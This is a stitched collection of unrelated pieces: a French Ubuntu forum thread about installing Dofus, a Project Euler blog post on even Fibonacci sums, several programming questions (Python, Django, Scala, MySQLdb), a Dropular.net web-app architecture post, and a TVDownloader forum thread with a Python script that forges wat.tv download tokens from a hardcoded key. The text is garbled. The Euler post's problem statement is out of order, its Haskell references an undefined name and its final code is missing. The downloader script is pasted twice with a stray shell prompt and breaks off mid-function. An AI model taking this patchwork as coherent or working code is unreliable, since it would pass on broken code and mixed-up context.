Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Est-tu sur la 11.10 ?
oui
Si c'est le cas, fait cette commande et tout devrait rentrer dans l'ordre :
sudo apt-get install libssl0.9.8
déjà fait mais rien de mieux
Sinon, met moi le retour de :
ldd /opt/Dofus_Paquet/share/UpLauncher
ldd /opt/Dofus_Paquet/share/UpLauncher
linux-gate.so.1 => (0x00e93000)
libgtk-x11-2.0.so.0 => /usr/lib/i386-linux-gnu/libgtk-x11-2.0.so.0 (0x002f5000)
libgthread-2.0.so.0 => /usr/lib/i386-linux-gnu/libgthread-2.0.so.0 (0x00ee4000)
libSM.so.6 => /usr/lib/i386-linux-gnu/libSM.so.6 (0x00bad000)
libjpeg.so.62 => /usr/lib/i386-linux-gnu/libjpeg.so.62 (0x00110000)
libssl.so.0.9.8 => /lib/libssl.so.0.9.8 (0x00134000)
libdbus-glib-1.so.2 => /usr/lib/i386-linux-gnu/libdbus-glib-1.so.2 (0x00182000)
libgdk-x11-2.0.so.0 => /usr/lib/i386-linux-gnu/libgdk-x11-2.0.so.0 (0x001a7000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/i386-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x00bd3000)
libgobject-2.0.so.0 => /usr/lib/i386-linux-gnu/libgobject-2.0.so.0 (0x00d51000)
libglib-2.0.so.0 => /lib/i386-linux-gnu/libglib-2.0.so.0 (0x0075e000)
libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0x00c24000)
libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0x00255000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0x0027f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00857000)
libXinerama.so.1 => /usr/lib/i386-linux-gnu/libXinerama.so.1 (0x00a44000)
libX11.so.6 => /usr/lib/i386-linux-gnu/libX11.so.6 (0x00a48000)
libpango-1.0.so.0 => /usr/lib/i386-linux-gnu/libpango-1.0.so.0 (0x009d3000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0x0029d000)
librt.so.1 => /lib/i386-linux-gnu/librt.so.1 (0x002b2000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0x00e33000)
libcrypto.so.0.9.8 => /lib/libcrypto.so.0.9.8 (0x00eea000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0x002bb000)
libpng12.so.0 => /lib/i386-linux-gnu/libpng12.so.0 (0x00b7e000)
libexpat.so.1 => /lib/i386-linux-gnu/libexpat.so.1 (0x00bf3000)
libpangocairo-1.0.so.0 => /usr/lib/i386-linux-gnu/libpangocairo-1.0.so.0 (0x002c0000)
libXfixes.so.3 => /usr/lib/i386-linux-gnu/libXfixes.so.3 (0x002cd000)
libatk-1.0.so.0 => /usr/lib/i386-linux-gnu/libatk-1.0.so.0 (0x00a1c000)
libcairo.so.2 => /usr/lib/i386-linux-gnu/libcairo.so.2 (0x12b39000)
libgio-2.0.so.0 => /usr/lib/i386-linux-gnu/libgio-2.0.so.0 (0x0d2ac000)
libpangoft2-1.0.so.0 => /usr/lib/i386-linux-gnu/libpangoft2-1.0.so.0 (0x00d0f000)
libfontconfig.so.1 => /usr/lib/i386-linux-gnu/libfontconfig.so.1 (0x00da0000)
libgmodule-2.0.so.0 => /usr/lib/i386-linux-gnu/libgmodule-2.0.so.0 (0x00a3c000)
libICE.so.6 => /usr/lib/i386-linux-gnu/libICE.so.6 (0x00bb6000)
libuuid.so.1 => /lib/i386-linux-gnu/libuuid.so.1 (0x00c1d000)
libdbus-1.so.3 => /lib/i386-linux-gnu/libdbus-1.so.3 (0x00dd5000)
libXext.so.6 => /usr/lib/i386-linux-gnu/libXext.so.6 (0x00d3c000)
libXrender.so.1 => /usr/lib/i386-linux-gnu/libXrender.so.1 (0x00e1e000)
libXi.so.6 => /usr/lib/i386-linux-gnu/libXi.so.6 (0x00e4e000)
libXrandr.so.2 => /usr/lib/i386-linux-gnu/libXrandr.so.2 (0x00e29000)
libXcursor.so.1 => /usr/lib/i386-linux-gnu/libXcursor.so.1 (0x00e5e000)
libXcomposite.so.1 => /usr/lib/i386-linux-gnu/libXcomposite.so.1 (0x00ba8000)
libXdamage.so.1 => /usr/lib/i386-linux-gnu/libXdamage.so.1 (0x00e69000)
libffi.so.6 => /usr/lib/i386-linux-gnu/libffi.so.6 (0x00e6d000)
libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0x00e94000)
/lib/ld-linux.so.2 (0x002d5000)
libxcb.so.1 => /usr/lib/i386-linux-gnu/libxcb.so.1 (0x00e74000)
libfreetype.so.6 => /usr/lib/i386-linux-gnu/libfreetype.so.6 (0x04126000)
libpixman-1.so.0 => /usr/lib/i386-linux-gnu/libpixman-1.so.0 (0x1e104000)
libxcb-shm.so.0 => /usr/lib/i386-linux-gnu/libxcb-shm.so.0 (0x00ed3000)
libxcb-render.so.0 => /usr/lib/i386-linux-gnu/libxcb-render.so.0 (0x00ed7000)
libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0x0fb17000)
libresolv.so.2 => /lib/i386-linux-gnu/libresolv.so.2 (0x01062000)
libXau.so.6 => /usr/lib/i386-linux-gnu/libXau.so.6 (0x06405000)
libXdmcp.so.6 => /usr/lib/i386-linux-gnu/libXdmcp.so.6 (0x01b7e000)
Dernière modification par friz (Le 20/11/2011, à 08:31)
Hors ligne
nico4116
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Merci pour ton aide j'ai reussi a bidouiller pour pouvoir le demarrer
Hors ligne
nematan
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour j'ai un problème lors du premier démarrage , quand je lance "Dofus direct" ça m'écris que des mise a jour sont nécessaire et que "Dofus updater " vas être lancé , puis rien ne se passe . Et si je lance directement "Dofus updater " rien ne se passe . voilà merci d'avance je suis sous Ubuntu 11.10
Dernière modification par nematan (Le 21/11/2011, à 22:20)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour j'ai un problème lors du premier démarrage , quand je lance "Dofus direct" ça m'écris que des mise a jour sont nécessaire et que "Dofus updater " vas être lancé , puis rien ne se passe . Et si je lance directement "Dofus updater " rien ne se passe . voilà merci d'avance je suis sous Ubuntu 11.10
Salut,
Lance cette commande et réessaie
sudo apt-get install libssl0.9.8
Hors ligne
nematan
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
aucun changements a constater
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bon la vous êtes deux ou trois à avoir le même problème.
Je me fais une install fraiche de oneiric 32 bit et je vous tiens au courant
Hors ligne
nematan
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
okay merci bien
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
C'est vraiment bizarre votre problème.
Je viens de faire une install fraiche d'une oneiric 32 bit sur virtualbox et mis à part le problème avec la libssl, tout a fonctionné ensuite.
Pouvez -vous donc, pour ceux chez qui ça ne fonctionne pas, me mettre votre distribution, l'architecture (32/64) et ces commandes :
Dofus_Uplauncher
/opt/Dofus_Paquet/share/UpLauncher
dpkg -l | grep 'libssl'
Hors ligne
|
Project Euler problem #2 is simple enough:
Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be:But, since I'm doing this for personal enrichment I decided to investigate in more detail. I did not notice this before solving it the first time (asking a stupid question in the process), but it turns out that every third fibonacci number is even. Furthermore, there is a surprising relationship between every third fibonacci number: f(n) = 4*f(n-3) + f(n-6)[1]. So it is possible to solve the problem efficiently by enumerating just the even fibonacci numbers. In this post I'll use g(n) to denote the nth even fibonacci number. The sequence can be implemented in Haskell, using list comprehension syntax, like so:
1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...
Find the sum of all the even-valued terms in the sequence which do not exceed four million.
-- g(n) = 4*g(n-1) + g(n-2)
g :: [Integer]
g = 2 : 8 : [ a + 4*b | (a,b) <- zip g (tail fibs2)]
But can we do better? I remembered one of Raganwald's homoiconic posts about computing fibonacci numbers efficiently using a matrix multiplication technique (pardon the ascii-art notation):
m^n, where m = (1 1) , is equivalent to: ( f(n) f(n-1) )
(1 0) ( f(n-1) f(n-2) )
So the nth fibonacci number is the upper-left element in the matrix obtained by multiplying m by itself n times[2].
Also interesting is that a source article of the post at homoiconic gives an efficient algorithm for calculating the sum of fibonacci numbers using the matrix representation of the sequence. Now we're getting somewhere! It should be possible to modify the matrix approach so that it generates only the even fibonacci numbers, using the formula described above[3]. And if we can do that, we can calculate their sum efficiently with the provided algorithm.
You can do exactly that using these two matrices:
b = (8 2) m = (4 1)
(2 0) (1 0)
where b is the base case and m is the multiplier. Notice that if you multiply a generic fibonacci matrix (where a,b,c are consecutive even fibonaccis) by m, you get:
(a b) * (4 1) = (4a+b, a)
(b c) (1 0) (4b+c, b)
Which generates the matrix containing the next consecutive even fibonacci number (recall that the nth even fib g(n) is equal to 4*g(n-1) + g(n-2), which is 4a+b if a and b are the two previous even fibs). Using the matrix b to bootstrap the multiplication (because it contains 2 and 8, the first two even fibs), it follows that b*m should produce the 3rd even fibonacci number, b*m*m should produce the fourth, b * m^3 the fifth, and in general:
g(1) = 2
g(n) = b * m^(n-2) [4]
g(1) + g(2) + ... + g(7) = 2 + b + b*m + b*m^2 + ... + b*m^5
2 + b(m^0 + m^1 + m^2 + m^3 + m^4 + m^5)
m^0 + m^1 + ... + m^5 = (m^0 + m^1 + m^2) + m^3(m^0 + m^1 + m^2)
by expanding the equation in this manner, we can calculate sum(5,m) with considerably less work. Notice the recursive structure of the equation: sum(5,m) = sum(2,m) + m^3 * sum(2,m). In general pseudocode:
sum(n,m) =
if n == 0 then return i //the identity matrix
if odd(n) then let s = sum(floor(n/2), m)
return s + m^ceil(n/2) * s
if even(n) then let s = sum(n/2, m)
return s + m^(n/2) * s + m^n
the 'even' case is slightly more complicated because it needs to take into account that the sequence m^0 + ... m^n is not evenly divisible into two pieces. The algorithm can be further optimized by having our sum function return m^n as well as the current running sum. This unfortunately obfuscates the algorithm with extra bookkeeping, but it ensures that we aren't wasting any work from one call to the next, and sum(n,m) must calculate m^n or m^n/2 anyway, so it is not much overhead. The 'odd' step from the above algorithm would then look something like this:
let s, m_exp = sum(floor(n/2), m) //m_exp is m^floor(n/2)
return s + (m_exp * m) * s, m_exp*m_exp*n //return both the sum and m^n
One final optimization. Raganwald noted in his original post that there is redundancy in the matrix representation, and we can easily re-write our matrices as tuples of 3 elements:
b = (8, 2, 0) m = (4, 1, 0)
Multiplication on these tuples is essentially the same as matrix multiplication (details at homoiconic). Putting it all together, we have the final, executable haskell:
The naive implementation is faster for small n, but once you get above n=5-10k this optimized version overtakes it and never looks back. The full code, including multiple solutions to the project Euler question and benchmarking of the naive implementation against this one, is available here.
[1] This is easy to verify yourself. Start with 4*f(n-3) + f(n-6) and keep simplifying until you get f(n)
[2] For convenience, define the first two fibonacci numbers to be 1,2. Take some time to convince yourself of this, if you like. The computation can be done in O(log n) multiplications (instead of n multiplications) by multiplying in a clever order. See the source articles for details.
[3] g(n) = 4*g(n-1) + g(n-2)
[4] I'm abusing notation slightly here. Technically this is the 2x2 matrix containing g(n), not g(n) itself. Also, note that when n=2, m^0 evaluates to the identity matrix. b * m^0 = b * i = b, so no special case is needed for 8.
|
I am trying to write a python script that benchmarks several pieces of code. The issue is when the script is run the output of the command id different from what I would get it I run it directly at bash prompt.
Here is the code for the python script
import subprocess
import re
import os
app = os.getcwd() + "/" + "myapp"
testPopen = subprocess.Popen(args=['/usr/bin/time',app],
stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=False)
testPopen.wait()
Here is the ouput of above code
real 1.0 user 0.8 sys 0.0
|
What is the django way to test non field specific validation errors?
For example, an email field will test is the text entered is a valid email address, but a non-field error will display above the form, with no relationship to any one field. It would, for instance, say that that email address is already registered.
When testing applications, how do you test these non-field validation errors?
Edit: To make the question more clear. I have a custom validation function, but I'd like to test that it's throwing the errors it's supposed to using the unittest framework provided by Django.
I could call the function directly and test it that way, but that doesn't ensure that it's being used properly in the view (ie: I want to do an integration test).
Thanks.
Edit: I have found the solution as how to test and not validate a field error.
It's done with assertFormError. Change the field name to None and change the error string to a list of error strings.
self.assertFormError(response, 'form', 'field name', 'error') # Test single field error
self.assertFormError(response, 'form', None, ['Error #1.', 'Error #2']) # Test general form errors
|
Please pardon the length of this question.
I often need to create some contextual information at one layer of my code, and consume that information elsewhere. I generally find myself using implicit parameters:
def foo(params)(implicit cx: MyContextType) = ...
implicit val context = makeContext()
foo(params)
This works, but requires the implicit parameter to be passed around a lot, polluting the method signatures of layer after layout of intervening functions, even if they don't care about it themselves.
def foo(params)(implicit cx: MyContextType) = ... bar() ...
def bar(params)(implicit cx: MyContextType) = ... qux() ...
def qux(params)(implicit cx: MyContextType) = ... ged() ...
def ged(params)(implicit cx: MyContextType) = ... mog() ...
def mog(params)(implicit cx: MyContextType) = cx.doStuff(params)
implicit val context = makeContext()
foo(params)
I find this approach ugly, but it does have one advantage though: it's type safe. I know with certainty that mog will receive a context object of the right type, or it wouldn't compile.
It would alleviate the mess if I could use some form of "dependency injection" to locate the relevant context. The quotes are there to indicate that this is different from the usual dependency injection patterns found in Scala.
The start point foo and the end point mog may exist at very different levels of the system. For example, foo might be a user login controller, and mog might be doing SQL access. There may be many users logged in at once, but there's only one instance of the SQL layer. Each time mog is called by a different user, a different context is needed. So the context can't be baked into the receiving object, nor do you want to merge the two layers in any way (like the Cake Pattern). I'd also rather not rely on a DI/IoC library like Guice or Spring. I've found them very heavy and not very well suited to Scala.
So what I think I need is something that lets mog retrieve the correct context object for it at runtime, a bit like a ThreadLocal with a stack in it:
def foo(params) = ...bar()...
def bar(params) = ...qux()...
def qux(params) = ...ged()...
def ged(params) = ...mog()...
def mog(params) = { val cx = retrieveContext(); cx.doStuff(params) }
val context = makeContext()
usingContext(context) { foo(params) }
But that would fall as soon as asynchronous actor was involved anywhere in the chain. It doesn't matter which actor library you use, if the code runs on a different thread then it loses the ThreadLocal.
So... is there a trick I'm missing? A way of passing information contextually in Scala that doesn't pollute the intervening method signatures, doesn't bake the context into the receiver statically, and is still type-safe?
|
I am running Enthought Canopy, python version 2.7.3, and am having difficulties using the module MySQLdb. I installed MySQL_Python 1.2.3 from the Canopy Package Manager, but when I run my code I get
File "pyfits_test.py", line 2, in <module>
import MySQLdb as mdb
File "/home/cmessick/Enthought/Canopy_64bit/User/lib/python2.7/site-packages/MySQLdb/__init__.py", line 19, in <module>
import _mysql
ImportError: libssl.so.6: cannot open shared object file: No such file or directory
Line 2 of my code simply says
import MySQLdb as mdb
I also tried
from MySQL_python import MySQLdb as mdb
and got
Traceback (most recent call last):
File "pyfits_test.py", line 2, in <module>
from MySQL_python import MySQLdb as mdb
ImportError: No module named MySQL_python
Does anybody have any suggestions to make Enthought Canopy work with MySQLdb?
Edit: Not sure it matters, but I'm running Ubuntu 12.04.
Second Edit: I figured out how to add to the module search path, so at the beginning of my code before anything else I now have:
import sys
sys.path.append('/usr/lib/python2.7/dist-packages/')
Once I do this, it works. Does anybody have a more permanent solution that I won't have to implement every time?
|
I have several test files kept in one directory
I want to go to each file and search some text "Text 1" and "Text 2" and print everything in front of this text in output file....
This I have done using python script.....
But next thing is I want only the first instance of "Text 1" and "Text 2" in each file. If I add breakin the current script I am not able to print in out file..
Please guide me.. I am a python beginner...
import os
path = "D:\test"
in_files = os.listdir(path)
desc = open("desc.txt", "w")
print >> desc, "Mol_ID, Text1, Text2"
moldesc = ['Text1', 'Text2']
for f in in_files:
file = os.path.join(path, f)
text = open(file, "r")
hit_count = 0
hit_count1 = 0
for line in text:
if moldesc[0] in line:
Text1 = line.split()[-1]
if moldesc[1] in line:
Text2 = line.split()[-1]
print >> desc, f + "," + Text1 + "," + Text2
text.close()
print "Text extraction done !!!"
|
Designing a modern web-based application — Dropular.net
One and a half years ago me and Andreas released a new version of dropular.net — a new kind of web app that runs completely in the browser. Today, this approach to designing web-based applications running client-side has become popular, so I thought I’d share some of the issues, approaches and design choices made during the development of Dropular.
I designed Dropular just as I would design a desktop application — the UI and related logic runs on the host computer (client). The host knows how to present a GUI and the host knows about user input, end-user’s environment state and so on, making UI code running on the client-side the natural choice. Then again, there’s always data. Dropular.net communicates with one or more backend access points to read and write data, verify authentication and so on.
Basically, we serve only data from the access point and run almost all code in the client web browser:
When a client visits dropular.net, three files are sent as the response: index.html, index.css and index.js — view, layout and logic, respectively.
If you view the source of any of these files you might notice that the code looks suspiciously computer generated. That’s because it is computer generated. As part of Dropular, I wrote a web-app client-server kit dubbed oui which given a source tree compiles and produces a runnable index.html file (together with an index.js and index.css file).
Oui provides a CommonJS module interface and groups together LESS/CSS, JS and HTML into logical modules which are name-spaced.
Demo and source code
First, let’s have a look at the actual product and experience (since it’s invite-only). This is a screen cast of me using the current, live website:
Authentication
In a model where the logic lives in the client, security is a different nut to crack. You need to deal with automatic re-authentication, network reconnection, server fade-over, etc.
Authentication is performed in a two-step process, allowing an intermediate representation to be cached in the client, enabling automatic fail-over to other access points and automatic login when later visiting the site.
It goes a little something like this:
[Step 1] Client sends a request for challenge:
← GET /session/sign-in?username=John
[Step 2] The server:
Verifies and fetches information about the user related to username
Generates a UUID that is uses as a session ID
Creates a temporary session object in memory, associated with that session ID
Generates a nonceusing:BASE16( SHA1_HMAC( server_secret, timestamp ":" random_data ) )
Puts the noncein the user’s session and registers a hook to clear the NONCE upon next request containing the associated session ID.
Responds to the client with the nonce and the user’s canonical username:
→ 200 OK {“nonce”:
, “sid”:, “username”:“john”}
[Step 3] The client:
Stores the session_idlocally, to be used for future requests
Displays a user interface where the user inputs her username and password
Calculates the passhash:BASE16( SHA1( username ":" password ) )
Calculates the auth_response:BASE16( SHA1_HMAC( auth_nonce, passhash ) )
Sends another request, this time with a payload, to the server:
← POST /session/sign-in {“sid”:
, “username”:“john”, “auth_response”:}
[Step 4] The server:
Calculates an auth_token:timestamp ":" BASE62( SHA1_HMAC( passhash, server_secret ":" timestamp ) )
Saves the auth_tokenin the user’s session object
Verifies the auth_responsesent by the client:BASE16( SHA1_HMAC( nonce, passhash ) ) == auth_response
Deletes the noncefrom the user’s session
Responds with the
auth_tokenand a complete description of the user (name, email… things like that):
→ 200 OK {“auth_token”:“xyz”, “sid”:“xyz”, “user”:{
}}
The client stores the auth_token locally, to be used for future automatic re-authentication.
Later in time, when the client sends whatever request to the server and includes its session_id, the server will evaluate the following logic:
if session = Session.get(session_id):
if session.auth_token:
allow_request()
else:
perform [Step 4]
else:
session = Session.new()
→ 401 {"sid":session.id}
perform [Step 3], starting at point 4, and finally re-send original request (client)
Since [Step 3], point 4 and forward does not require user input, re-authentication—and thus backend fade-over—can be done completely in the background. The user experience will the that the original request (e.g. a click on a button to show some content) takes a little longer time than it usually would.
User interface
Since the user interface is created, rendered and maintained solely by the client (i.e. web browser), there needs to be some structure. The HTML DOM is actually a great view representation and in combination with CSS gives you control of each pixel on the screen, and at the same provides a nice separation between view structure and layout. However, these kinds of websites tend to have many different “screens”, or view states if you will, quickly making your regular HTML and CSS code a freaking mess.
What we did was to have a mind set as if we where writing a desktop application — we define logical components in folders and files that reflect the structure of these components. We then process, or compile, these sources into machine-and-network optimized code (HTML, CSS & JavaScript), just like you do with “regular” software development.
A nice side-effect of having an intermediate “compile” step is that you can write your source code in whatever language suits you and your project — your no longer limited to the languages and coding styles dictated by web browsers. For instance, you can define your layout code in LESS instead of CSS and write your logic in Move instead of JavaScript.
Downsides to a “compiling” approach
This approach obviously has some downsides, one of them relatively painful: debugging. Since the code you’re running does not directly reflect the source files you have in your structure of logical modules, finding and fixing a problem becomes harder as you need to back-track and search your source for certain things. In the end, we took a pragmatic approach to this and simply generated human-readable code that’s annotated with the path names of the source.
Templates in the DOM
For views that aren’t permanent (most views aren’t) we are using HTML templates, kept inside the DOM as data-only node trees:
<module id="drops-drop">
<drop>
<h1></h1>
<img>
...
</drop>
</module>
With CSS making any module node tree a data node tree, exempt from layout and display:
module { display:none; }
Some module logic (e.g. JavaScript code) then clone appropriate parts of its template, which is made available to a module using the __html convenience variable:
// Register a hook for a certain URL
oui.anchor.on(/^drops\/(<id>[a-zA-Z0-9]{25,30})/, function(params, path, prevPath) {
// Load data for drop with <id>
oui.app.session.get('drops/drop/'+params.id, params, function(err, drop) {
// Make a new instance of the <drop> child node tree of our HTML template:
var view = __html('drop');
// Configure the view
view.find('h1').text(drop.title || drop.origin);
...
// Finally add the view to an active part of the DOM
mainView.setView(view);
});
});
Data storage and the problem of many-to-many
Since we have a very clean separation of data and presentation, CouchDB made a lot of sense to us. In CouchDB, data is represented by logical structured blobs called “documents” — basically it’s a key-to-JSON store.
Dropular.net has a feature where you can follow any number of other users and look at a feed of images created by all those users. In data terms, this is a many-to-many relationship which when using a RDBMS like MySQL is expensive (computational wise). With CouchDB on the other hand, many-to-many relationships are very easy to define and they are cheap to maintain!
Basically, we lazily define a CouchDB view per user _design/user-drops-USERNAME/_view/from-following with the following map function:
function (doc) {
var following = %FOLLOWING;
var user, createdBy, created; // find lowest timestamp
for (user in doc.users) {
var t = doc.users[user][0];
if (!created || t < created) {
created = t;
createdBy = user;
}
}
for (user in doc.users) {
for (i=following.length; --i > -1;) {
if (following[i] === user)
emit([created, user], doc._id);
}
}
}
Example: GET http://dropular.net/api/users/rsms/following/drops →
{ "drops": [
{ "id": "9uQyA5tTraIkiVHG5l1XdPRHwfg", "key": [1274772176060,"suprb"] },
{ "id": "cytCrjVJPQOCXiSqF1MV6GqPEt1", "key": [1273706969465,"suprb"] },
...
],
"total": 2701, "offset": 0
}
Now, CouchDB will make sure to run this function every time any related document is modified, added or removed, effectively keeping all relevant “from-following” indexes up-to-date. CouchDB is very good at these incremental updates, so even though this looks complex and slow, this function is compiled to an internal representation and only run on the modified values, not the complete data set, making an update both atomic and complete within a few milliseconds.
Access points aka The Server
As any app that centralizes data, authentication, etc, you need something to serve as the hub. We call these access points, as they are the contact surface between the client application and whatever lives in the central backend (CouchDB, AWS services, etc). Since I’ve been involved in Node.js for a long time, Node.js was a given choice. Actually, this was such a successful solution that we sustained over 1000 API requests/second on one single small AWS EC2 instance with less than 1.0 in load (during our initial release which caused a thundering heard-like wave of visitors). Even for a commercial website, that number is considered good.
Scalability as an effect
The Oui app kit supports virtually an infinite number of access points to be used, making this approach of running all the logic in the client an extremely scalable solution.
— Just add as many access points as you need, effectively scaling close-to linearly (at least as close to linear as your backend dependencies allow).
A model which relies on persistent sessions or rendering of the user interface in a central location (i.e. on the server) can never reach this level of scalability-to-price/complexity ratio.
Today & tomorrow
Today, 21 months later, the current browser technology allows for even more sophisticated client-and-access-point solutions, where everything from complex image processing (canvas 2D and 3D) to data processing (WebWorkers) can be done client-side. DOM manipulation is much cheaper, JavaScript runs much faster and OAuth 2.0 is an easy-to-use (in contrary to 1.0), suitable authentication schema for these kinds of approaches. 3D-transforms for hardware accelerated, high-performance 2D and 3D user interface effects as well as host-native, fluent animations defined in simple CSS.
I’m really curious to see what’s next — the web is rapidly transforming from a “hacky” document presentation technology to a rich application development and distribution platform with standards that make sense. No more live hacking on FTP servers or behemoth HTML-generating Java servers.
|
#2676 Le 15/02/2013, à 19:14
mulder29
Re : TVDownloader: télécharger les médias du net !
Et je reçois
python: can't open file
alors que j'ai installé Python 2.7.3, hier.
Hors ligne
#2677 Le 15/02/2013, à 19:26
k3c
Re : TVDownloader: télécharger les médias du net !
si tu tapes
which python
ça affiche quoi ?
Dernière modification par k3c (Le 15/02/2013, à 19:28)
Hors ligne
#2678 Le 15/02/2013, à 20:20
mulder29
Re : TVDownloader: télécharger les médias du net !
ça affiche :
/usr/bin/python
Hors ligne
#2679 Le 15/02/2013, à 22:38
JessicaNichenin
Re : TVDownloader: télécharger les médias du net !
j'utilise la version 0.6 du script et cela ne marche plus
python get.py http://videos.tf1.fr/unforgettable/episode-16-saison-01-la-fille-de-l-air-7817948.html
['rtmpdump', '-r', 'rtmpte://wske.wat.tv/ondemand/mp4:vod/H264-384x288/31/87/9433187.h264', '-c', '1935', '-m', '10', '-w', 'ebb7a6fbdc9021db95e2bd537d73fabb9717508f085bea50bde75f7a8e27698c', '-x', '343642', '-o', 'episode-16-saison-01-la-fille-de-l-air-7817948.mp4', ' --resume']
Erreur : le sous-process s'est terminé avec (le code d'erreur est 1)
Erreur : le sous-process s'est terminé avec (le code d'erreur est 1)
Erreur : le sous-process s'est terminé avec (le code d'erreur est 1)
Erreur : le sous-process s'est terminé avec (le code d'erreur est 1)
Merci pour ce merveilleux script
Hors ligne
#2680 Le 16/02/2013, à 00:17
k3c
Re : TVDownloader: télécharger les médias du net !
Cette version est peu testée, mais télécharge les 3 épisodes de Unforgettable
# -*- coding:utf-8 -*-
# TF1 TMC NT1 HD1 version 0.7 par k3c, correction de 11gjm, modif pour TF1 unforgettable
import subprocess, optparse, re, sys, shlex
import socket
from urllib2 import urlopen
import time, md5, random, urllib2
import bs4 as BeautifulSoup
listeUserAgents = [ 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.',
'Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori',
'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8' ]
def get_wat(id):
def base36encode(number):
if not isinstance(number, (int, long)):
raise TypeError('number must be an integer')
if number < 0:
raise ValueError('number must be positive')
alphabet = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
base36 = ''
while number:
number, i = divmod(number, 36)
base36 = alphabet[i] + base36
return base36 or alphabet[0]
ts = base36encode(int(time.time()))
timesec = hex(int(ts, 36))[2:]
while(len(timesec)<8):
timesec = "0"+timesec
token = md5.new("9b673b13fa4682ed14c3cfa5af5310274b514c4133e9b3a81e6e3aba00912564/web/"+str(id)+""+timesec).hexdigest()
id_url1 = "http://www.wat.tv/get/web/"+str(id)+"?token="+token+"/"+timesec+"&getURL=1&country=FR"
return id_url1
def main():
gg@gg-SATELLITE-L755:~$ cat !$
cat hd3.py
# -*- coding:utf-8 -*-
# TF1 TMC NT1 HD1 version 0.7 par k3c, correction de 11gjm, modif pour TF1 unforgettable
import subprocess, optparse, re, sys, shlex
import socket
from urllib2 import urlopen
import time, md5, random, urllib2
import bs4 as BeautifulSoup
listeUserAgents = [ 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.',
'Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori',
'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8' ]
def get_wat(id):
def base36encode(number):
if not isinstance(number, (int, long)):
raise TypeError('number must be an integer')
if number < 0:
raise ValueError('number must be positive')
alphabet = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
base36 = ''
while number:
number, i = divmod(number, 36)
base36 = alphabet[i] + base36
return base36 or alphabet[0]
ts = base36encode(int(time.time()))
timesec = hex(int(ts, 36))[2:]
while(len(timesec)<8):
timesec = "0"+timesec
token = md5.new("9b673b13fa4682ed14c3cfa5af5310274b514c4133e9b3a81e6e3aba00912564/web/"+str(id)+""+timesec).hexdigest()
id_url1 = "http://www.wat.tv/get/web/"+str(id)+"?token="+token+"/"+timesec+"&getURL=1&country=FR"
return id_url1
def main():
# timeout en secondes
socket.setdefaulttimeout(90)
usage = "usage: python tmc_tf1.py [options] <url de l'emission>"
parser = optparse.OptionParser( usage = usage )
parser.add_option( "--nocolor", action = 'store_true', default = False, help = 'desactive la couleur dans le terminal' )
parser.add_option( "-v", "--verbose", action = "store_true", default = False, help = 'affiche les informations de debugage' )
( options, args ) = parser.parse_args()
if( len( args ) > 2 or args[ 0 ] == "" ):
parser.print_help()
parser.exit( 1 )
